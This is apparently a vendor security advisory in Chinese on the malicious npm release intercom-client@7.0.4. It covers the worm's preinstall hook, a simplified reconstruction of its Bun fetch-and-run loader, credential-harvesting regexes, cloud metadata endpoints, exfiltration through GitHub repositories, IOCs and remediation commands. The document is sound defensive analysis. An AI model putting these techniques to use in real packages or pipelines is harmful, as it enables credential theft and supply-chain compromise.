在 mbt@1.2.48 和 @cap-js/sqlite@2.2.2 被 Shai-Hulud 蠕虫攻陷 29 小时后,第三个主要的 npm 包也沦陷了:intercom-client@7.0.4,这是 Intercom 客户消息平台的官方 Node.js SDK,每周下载量达 361,510 次——超过前两天被攻陷的两个包的总和。该恶意版本于今日 14:41 UTC 通过被劫持的 GitHub Actions OIDC 发布管道发布,证实该蠕虫正在通过从昨日受害者处窃取的 CI/CD 基础设施主动传播。
该软件包携带了与之前所有 Shai-Hulud 有效载荷相同的 preinstall: node setup.mjs 钩子和 Bun 分阶段加载器,但凭证窃取器已发生重大演变:有效载荷——现在伪装成 router_runtime.js 而非之前已曝光的 execution.js 名称——已将其收集范围从 GitHub 和 npm 令牌扩展到完整的多云凭证扫描,针对 AWS 实例凭证(通过 IMDS 端点的 169.254.169.254)、GCP 服务账户令牌(通过 metadata.google.internal)、Azure 连接字符串、私钥和通用 API 密钥模式。同一个 __decodeScrambled PBKDF2 密码器在有效载荷中出现 232 次,该密码器是 Shai-Hulud / TeamPCP 工具链的指纹特征。
披露: StepSecurity 已提交 GitHub issue 通知 Intercom 团队此次泄露:github.com/intercom/intercom-node/issues/518。
被攻陷的软件包
截至 2026 年 4 月 30 日,以下 npm 软件包已确认具有恶意性质。它携带了一个新的 preinstall: node setup.mjs 钩子和一个 11.7 MB 的混淆 router_runtime.js 多云凭证窃取器。请勿安装此版本。
intercom-client@7.0.4 — 官方 Intercom Node.js API SDK
- 每周下载量: 约 361,510
- 发布时间: 2026 年 4 月 30 日 14:41 UTC
- 发布者: GitHub Actions OIDC(
npm-oidc-no-reply@github.com,OIDC 配置c6068f87-840d-4993-aa1b-425530e39ee9)— CI/CD 发布管道被攻陷 - 安全版本:
intercom-client@7.0.3 - 大小变化: 6 MB → 17.8 MB 解压后(增长约 3 倍)
- SLSA 证明: 7.0.3 中存在 — 7.0.4 中缺失(供应链完整性检查被绕过)
- npm 页面: npmjs.com/package/intercom-client/v/7.0.4
我们如何检测到它
StepSecurity 的 AI 软件包分析师 实时监控每个新的 npm 发布,将每个版本与完整版本历史进行对比。对于 intercom-client@7.0.4,四个信号在发布后几分钟内触发立即 CRITICAL 判定。查看完整分析此处
StepSecurity AI 软件包分析师订阅源显示 intercom-client@7.0.4 被标记为 CRITICAL
preinstall脚本首次出现在所有先前版本中。intercom-client在其任何先前版本中从未使用过安装生命周期钩子。7.0.4 版本引入了"preinstall": "node setup.mjs"——一个在项目 GitHub 仓库中无历史记录的新文件,在任何安装逻辑运行之前触发。- 引入了两个未记录的文件:
setup.mjs和router_runtime.js。 这两个文件在任何先前版本或intercom/intercom-nodeGitHub 仓库中都不存在。 - 有效载荷大小异常。 解压后的软件包在单次补丁版本更新中从 6 MB 增长到 17.8 MB。11.7 MB 的
router_runtime.js是一个单一的、无换行符的混淆行——这是恶意有效载荷的结构特征。 - SLSA 溯源证明缺失。 7.0.3 版本携带通过 npm 注册表可验证的 SLSA v1 溯源证明。7.0.4 版本没有任何证明——这是一个强烈指标,表明发布未通过生成这些证明的合法 CI/CD 工作流。
版本差异:7.0.4 中的变化
intercom-client 的每个先前版本都不包含任何安装生命周期钩子——这是一个没有任何安装后副作用的干净 SDK。7.0.4 版本注入了一个 preinstall 钩子以及两个之前不存在的文件:
// package.json — intercom-client@7.0.3 (clean)
"scripts": {
"lint": "biome lint ...", "test": "vitest", "build": "pnpm build:cjs && pnpm build:esm",
// ... dev-only build and test scripts, no install hooks
}
// unpackedSize: 6,099,576 bytes | fileCount: 4,384 | SLSA v1 provenance attestations: present
// package.json — intercom-client@7.0.4 (malicious)
"scripts": {
"lint": "biome lint ...", "test": "vitest", "build": "pnpm build:cjs && pnpm build:esm",
"preinstall": "node setup.mjs" // <-- new, fires before any install logic
}
// unpackedSize: 17,837,993 bytes | fileCount: 4,940 | SLSA attestations: ABSENT
// New files: setup.mjs (6,780 bytes), router_runtime.js (11,731,860 bytes, 0 newlines)preinstall 钩子在 npm 评估任何其他安装步骤之前、在用户看到任何输出之前、以及在如果省略该标志时任何 --ignore-scripts 防护都无法阻止它之前触发。合法的 Intercom SDK 仍然存在且正常运行——受害者获得一个可用的客户端库,而窃取器则在后台静默运行。
第二个异常将此泄露与之前的泄露区分开来:与 intercom-client@7.0.3 不同,后者携带将每个制品链接到其源构建工作流的 SLSA v1 溯源证明,7.0.4 根本没有任何证明。攻击者的发布管道没有复制合法 Intercom 工作流执行的签名步骤,使证明的缺失成为一种可靠的检测信号。
攻击链内部
阶段 1 加载器:作为规避载体的 Bun(setup.mjs)
setup.mjs 是一个 222 行、6.7 KB 的 Node.js 模块,结构上与所有 Shai-Hulud 系列软件包中发现的 Bun 加载器完全相同。它的唯一目的是获取 Bun 运行时并使用它来执行 router_runtime.js。
// Simplified execution flow from setup.mjs
const BUN_VERSION = "1.3.13"; // Same version used in mbt, @cap-js/sqlite, and @bitwarden/cli
const ENTRY_SCRIPT = "router_runtime.js"; // Renamed from "execution.js" to evade IOC blocklists
async function main() {
if (hasCommand("bun")) return; // Reuse existing Bun installation if present
const asset = resolveAsset(); // Includes musl/Alpine detection for CI containers
const url = \`https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip\`;
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
await downloadToFile(url, zipPath);
extractBun(zipPath, entry, tmpDir);
fs.unlinkSync(zipPath); // Delete the downloaded zip to reduce forensic footprint
execFileSync(bunPath, [entryScriptPath], { stdio: "inherit", cwd: SCRIPT_DIR });
// finally: fs.rmSync(tmpDir, { recursive: true, force: true }) ← deletes Bun binary on exit
}加载器包含一个纯 Node.js ZIP 解析器作为在没有安装 unzip 的环境中的备用方案——确保即使在最小的容器镜像中有效载荷也能执行。它检测 Alpine/musl 环境(针对 CI 运行器)并相应地选择正确的 Bun 二进制变体。
使用 Bun 而非 Node.js 是一个故意的规避选择:针对可疑的 node 子进程在 npm install 期间调优的 EDR 规则和 SIEM 检测将完全错过 bun 进程。加载器的 SHA-256 与 mbt@1.2.48 的 setup.mjs 不同,但逻辑、Bun 版本、平台映射和清理行为在功能上完全相同——一次小更新以规避基于哈希的 IOC 匹配。
- 文件:setup.mjs
- SHA-256:fe64699649591948d6f960705caac86fe99600bf76e3eae29b4517705a58f0e2
- 大小:6,780 字节 · 222 行
阶段 2 有效载荷:多云凭证收割器(router_runtime.js)升级的 TTP
router_runtime.js 是一个 11.7 MB 的单行混淆 JavaScript 文件。该有效载荷携带与每个之前的 Shai-Hulud 家族成员相同的结构指纹——一个十六进制索引字符串数组(_0x29aa53),带有 globalThis.__decodeScrambled PBKDF2 支持的自定义密码器(232 occurrences),用于运行时解密所有敏感字符串——但凭证收集的范围已显著扩展至 GitHub 和 npm 之外。
- 文件:router_runtime.js
- SHA-256:5ae8b2343e97cc3b2c945ec34318b63f27fa2db1e3d8fbaa78c298aa63db52ed
- 大小:11,731,860 字节(单行,零换行符)
规避:守护进程化和单例锁
有效载荷使用与所有 Shai-Hulud 有效载荷中相同的 __DAEMONIZED 环境变量分叉进行守护进程化:它使用 __DAEMONIZED=1 分叉一个分离的子进程,父进程立即退出,后台子进程将 PID 单例锁写入 /tmp 以防止重复实例。这打破了 npm install 和凭证窃取活动之间的进程树关联。
扩展的凭证收集:云范围扫描
之前的 Shai-Hulud 有效载荷针对 GitHub 令牌和 npm 发布令牌。此有效载荷增加了三个新的云凭证类别,将任何单一安装的爆炸半径提升到受害者的整个云足迹:
- GitHub 令牌:PAT(
ghp_*)、OAuth 令牌(gho_*)和 Actions/OIDC 令牌(ghs_*)——与之前活动有效载荷相同的模式。 - npm 令牌:匹配
/npm_[A-Za-z0-9]{36,}/g的发布访问令牌。被窃取的令牌用于将蠕虫传播到新的软件包。 - AWS 凭证:查询 AWS 实例元数据服务(IMDS)的
http://169.254.169.254以获取角色凭证。还扫描配置文件中aws_secret_access_key、aws_session_token和访问密钥 ID 模式(AKIA[A-Z0-9]{16})以及环境变量。 - GCP 凭证:查询 GCP 元数据服务器的
http://metadata.google.internal以获取实例服务账户令牌和身份令牌。扫描service_account凭证 JSON 文件(应用默认凭证)。 - Azure 凭证:扫描 Azure 存储连接字符串(
AccountKey)、客户端密钥(client_secret)和匹配/(AccountKey|accessKey|client_secret)/的访问密钥。 - 私钥:正则提取匹配
/-----BEGIN PRIVATE KEY-----/g的 PEM 编码 RSA 和 ECDSA 私钥。 - 通用 API 密钥:跨配置文件和环境对名为
password、passwd、secret、token、key和api[_-]?key的变量进行广泛模式匹配。
CI/CD 环境检测:超越 GitHub Actions
有效载荷检测并为三个 CI/CD 环境激活专门的收集行为:
// CI environment detection (from static analysis of router_runtime.js)
if (process.env.GITHUB_ACTIONS) // GitHub Actions — targets OIDC tokens
if (process.env.VERCEL || process.env.NOW_GITHUB_DEPLOYMENT) // Vercel deployments
if (process.env.CI_) // Generic CI environment marker添加 Vercel 和通用 CI 检测是一个有意义的升级:使用 Intercom 集成构建前端应用或无服务器函数的开发者在部署管道安装 SDK 时也会成为目标。
阶段 3 通过 GitHub 私有仓库进行数据泄露
泄露路由通过受害者自己的 GitHub 账户使用 api.github.com 端点——与 mbt@1.2.48 和 @cap-js/sqlite@2.2.2 中使用的相同隐蔽通道。有效载荷使用被窃取的 GitHub 令牌向 api.github.com/user 进行身份验证,在受害者账户下创建一个私有仓库,加密收集的凭证和云元数据,并将有效载荷提交到该仓库。
所有流量都发往 api.github.com,该端点几乎在每个企业防火墙和 GitHub Actions 出口策略中都被允许列出。基于域名的黑名单、基于 IP 的检测和针对未知目标的流量调优网络监控对此通道完全无效。
为什么网络防御在这里失效: 此有效载荷发出的每个出站请求——从 github.com 下载 Bun、查询云元数据端点(运行器内部)以及通过 api.github.com 进行泄露——都发往在每个 CI/CD 环境的默认允许列表中出现的目标。唯一有效的网络层防御是 Harden Runner 的步骤级出口锁定,即使恶意软件通过受信任的域路由,它也能在安装步骤期间阻止意外的 api.github.com API 调用。
阶段 4 供应链蠕虫:CI/CD 令牌传播
每个被窃取的 npm 发布令牌都用于传播蠕虫。窃取器使用每个捕获的令牌通过 npm 注册表 API 枚举其有发布权限的软件包,增加补丁版本,将 preinstall 钩子和有效载荷文件注入新版本,并将其发布到注册表。这是整个 Shai-Hulud 家族观察到的相同自我复制机制。
intercom-client@7.0.4 是该机制的直接证据。 在 mbt@1.2.48 发布 29 小时后,intercom 发布使用了属于 Intercom 工程团队的 GitHub Actions OIDC 令牌——几乎可以肯定是从前一天在那个时间窗口内安装了被攻陷软件包之一的 CI 管道窃取的。任何运行 npm install mbt@1.2.48 或 npm install @cap-js/sqlite@2.2.2 且可访问 Intercom SDK 的 npm 发布凭证的工作流都可能成为传播载体。
归因:Shai-Hulud / TeamPCP 活动
将 intercom-client@7.0.4 归因于 Shai-Hulud / TeamPCP 活动的结构证据是确凿的:
- 相同的 Bun v1.3.13 加载器 —
setup.mjs中固定的具体 Bun 版本自 2025 年 9 月以来在每个 Shai-Hulud 有效载荷中保持不变,包括@bitwarden/cli@2026.4.0、mbt@1.2.48和@cap-js/sqlite@2.2.2。 - 相同的混淆引擎 — 十六进制索引字符串数组(
_0x29aa53)带有globalThis.__decodeScrambledPBKDF2 支持的自定义密码器是 TeamPCP 工具链的唯一指纹。它在router_runtime.js中出现 232 次。 - 相同的守护进程化规避 —
__DAEMONIZED环境变量分叉存在,与所有 Shai-Hulud 家族成员一致。 - 相同的仅 GitHub C2 通道 — 通过
api.github.com/user私有仓库创建进行泄露,无外部 C2 域名(Bitwarden 变体中使用的外部域名已被曝光并公开列入黑名单)。 - 相同的令牌正则模式 —
/gh[op]_[A-Za-z0-9]{36}/g、/npm_[A-Za-z0-9]{36,}/g和/ghs_[A-Za-z0-9]{36,}/g与之前活动有效载荷相比未更改。 - 相同的 OIDC 发布向量 — 通过
npm-oidc-no-reply@github.com发布,与@cap-js/sqlite@2.2.2中看到的相同发布者身份,确认蠕虫已通过被窃取的 OIDC 令牌建立了 CI/CD 传播通道。 - TTP 演变与之前 Shai-Hulud 版本一致 — 每个活动波次都引入了增量更改(2025 年 11 月的 preinstall 钩子、Bitwarden 披露后仅使用 GitHub C2、此处的有效载荷文件名轮换),同时保留核心工具链。多云凭证扩展遵循与 Shai-Hulud v1 和 v2 之间观察到的范围扩大相同的模式。
妥协指标
软件包
- 恶意软件包:
intercom-client@7.0.4 - 安全版本:
intercom-client@7.0.3 - npm 完整性:
sha512-LcCAJzWI5Jkx75prg8T88aonPsExIrffcugdCDWhNv0HhmOlkA8xYqMuNHqjkgF8o9yxrs09tDub/6MWncK1Lg== - npm shasum:
1a1b1d0d89fadf7664c42ec628bac7d39a71bd50 - Tarball SHA-256:
5f748fbc89cde66abefa826439c765a0081a027792e9da8d80fbf23571311622 - 发布者:
GitHub Actions OIDC (npm-oidc-no-reply@github.com) — CI/CD pipeline compromised - OIDC 配置 ID:
oidc:c6068f87-840d-4993-aa1b-425530e39ee9
文件
- 加载器:
setup.mjs - 加载器 SHA-256:
fe64699649591948d6f960705caac86fe99600bf76e3eae29b4517705a58f0e2 - 加载器大小:
6,780 bytes · 222 lines - 有效载荷:
node_modules/intercom-client/router_runtime.js - 有效载荷 SHA-256:
5ae8b2343e97cc3b2c945ec34318b63f27fa2db1e3d8fbaa78c298aa63db52ed - 有效载荷大小:
11,731,860 bytes (single obfuscated line, zero newlines) - 锁文件:
/tmp/<__decodeScrambled encoded name> (PID singleton)
网络
- C2 通道:
api.github.com(受害者账户下的私有仓库) - GitHub 用户端点:
https://api.github.com/user - Bun 运行时下载:
github.com/oven-sh/bun/releases/download/bun-v1.3.13/ - AWS IMDS 端点:
http://169.254.169.254 (AWS instance credential theft) - GCP 元数据端点:
http://metadata.google.internal (GCP service account token theft) - npm 传播端点:
https://registry.npmjs.org/ (worm self-propagation)
代码标记(Shai-Hulud 家族)
- 自定义密码器:
globalThis.__decodeScrambled (PBKDF2-backed, 232 occurrences in router_runtime.js) - 守护进程化标志:
__DAEMONIZED (env var) - GitHub PAT 正则:
/gh[op]_[A-Za-z0-9]{36}/g - npm 令牌正则:
/npm_[A-Za-z0-9]{36,}/g - Actions 令牌正则:
/ghs_[A-Za-z0-9]{36,}/g - AWS 密钥 ID 正则:
/AKIA[A-Z0-9]{16}/g (new in this variant) - Azure 凭证正则:
/ (AccountKey|accessKey|client_secret)/ (new in this variant) - 私钥正则:
/-----BEGIN PRIVATE KEY-----/g (new in this variant) - Bun 版本(所有变体):
1.3.13 - 混淆模式:
Hex-indexed string array (_0x29aa53) + PBKDF2 cipher
我受影响了吗?
检查您的项目中是否有恶意版本:
npm list intercom-client 2>/dev/null | grep "7\.0\.4"
grep '"intercom-client"' package-lock.json | head -5检查 node_modules 中是否有恶意文件:
ls node_modules/intercom-client/setup.mjs 2>/dev/null && echo "intercom-client COMPROMISED"
ls node_modules/intercom-client/router_runtime.js 2>/dev/null && echo "PAYLOAD FOUND"检查未经授权的私有仓库 在运行被攻陷安装的账户或组织上:
gh repo list --visibility private --json name,description,createdAt --limit 100 | \
jq '.[] | select(.createdAt > "2026-04-30")'检查 npm 发布日志 中是否有未经授权的发布:
npm access list packages <your-username>
# Then for each package you maintain:
npm view <package-name> time --json | tail -5检查 CI/CD 管道日志 中是否有在 2026 年 4 月 29 日(之前被攻陷的软件包可能窃取 CI 凭证的时间)至现在期间安装了 intercom-client@7.0.4 的任何工作流运行。将可访问这些作业的所有密钥视为已泄露——包括 AWS IAM 凭证、GCP 服务账户密钥、Azure 客户端密钥和 npm OIDC 发布令牌。
如果软件包在具有云访问权限的 CI/CD 管道中安装,请特别检查云凭证:
# AWS: audit CloudTrail for unexpected AssumeRole or GetSessionToken calls
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
--start-time 2026-04-30T14:00:00Z
# GCP: check for unexpected service account token usage
gcloud logging read 'protoPayload.authenticationInfo.principalEmail:@developer.gserviceaccount.com' \
--freshness=1d
# Azure: check for unexpected client secret usage in Azure AD audit logs修复
-
卸载被攻陷的版本并降级:
npm uninstall intercom-client npm install intercom-client@7.0.3 --ignore-scripts -
验证没有恶意文件残留:
ls node_modules/intercom-client/setup.mjs 2>/dev/null && echo "still compromised" ls node_modules/intercom-client/router_runtime.js 2>/dev/null && echo "payload still present" -
轮换安装过该软件包的每台机器和 CI/CD 管道上的所有凭证:
- GitHub 令牌(PAT:
ghp_*、OAuth:gho_*、Actions:ghs_*) - npm 发布令牌(
npm_*)——至关重要,被窃取的令牌用于蠕虫传播 - AWS 访问密钥和会话令牌(如果在具有 AWS 凭证的环境中运行安装)
- GCP 服务账户密钥(如果在 GCP 认证环境中运行安装)
- Azure 客户端密钥和连接字符串(如果在 Azure 认证环境中运行安装)
- 受影响 CI/CD 作业中的所有其他环境变量密钥
- GitHub 令牌(PAT:
-
在 CI/CD 中使用
--ignore-scripts作为常设策略:npm ci --ignore-scripts -
固定精确版本 以防止静默升级到恶意补丁版本:
{ "dependencies": { "intercom-client": "7.0.3" } } -
验证 SLSA 证明 对于支持它们的软件包,在敏感环境中安装前进行检查:
npm audit signatures intercom-client@7.0.3
StepSecurity 如何提供帮助
预防 — 在恶意软件包进入您的代码库之前阻止它们
- npm 被攻陷软件包检查 — StepSecurity 维护一个实时确认恶意 npm 软件包数据库,在 CVE 提交之前更新。引入
intercom-client@7.0.4的任何 PR 自动检查失败并被阻止合并。app.stepsecurity.io/checks - npm 软件包冷却检查 — 在可配置的冷却窗口期间阻止新的 npm 发布。大多数恶意软件包在发布后数小时内被识别。冷却可防止自动化管道在安全社区响应之前拉取新发布的恶意版本。
- Harden-Runner 出口执行 — 在锁定模式下,在 GitHub Actions 执行期间,所有未声明的出站连接在 DNS 和网络级别都被阻止。Bun 运行时下载(
github.com/oven-sh/bun/releases)、api.github.com泄露通道以及 AWS/GCP 云元数据端点都可能被阻止,除非明确允许列出。步骤级出口控制是针对通过受信任域路由的 C2 唯一有效的网络层防御。
检测 — 跨注册表、PR 和管道的持续可见性
- AI 软件包分析师 — 实时监控每个新的 npm 和 PyPI 发布。异常发布——新的安装钩子、混淆的有效载荷文件、运行时下载、大小异常、缺失的 SLSA 证明、活动家族签名——立即标记并附有完整的行为分析。无需 CVE。app.stepsecurity.io/oss-security-feed
- npm 软件包搜索 — 在您的组织中跨所有 PR 和仓库搜索,以确定在修复开始前哪些团队和代码库暴露于
intercom-client@7.0.4。 - Harden-Runner 网络基线 — 即使在审计模式下,Harden Runner 也会记录每个工作流步骤的每个出站网络连接。在安装步骤期间对
api.github.com或169.254.169.254的意外调用是即时泄露信号,在运行完成之前显示。
响应 — 评估暴露并协调修复
- 威胁中心 — 针对被攻陷软件包的实时通报,包括技术分析、IOC 和修复步骤——在公开披露之前进行分类所需的一切。当有效载荷范围扩展到 GitHub 和 npm 之外时,包括多云修复指导。
- 协调修复 — 将威胁情报、软件包搜索结果和网络基线合并为跨所有受影响仓库的优先暴露列表。实现一致的、全组织范围的修复,包括令牌轮换跟踪、npm 发布审计和云凭证撤销协调。
保护您的管道: AI 软件包分析师在发布后几分钟内检测到此 Shai-Hulud 有效载荷——包括扩展的多云凭证范围——在任何 CVE 提交之前。Harden-Runner 即使在恶意软件通过 api.github.com 等受信任基础设施路由时也能在网络层阻止泄露。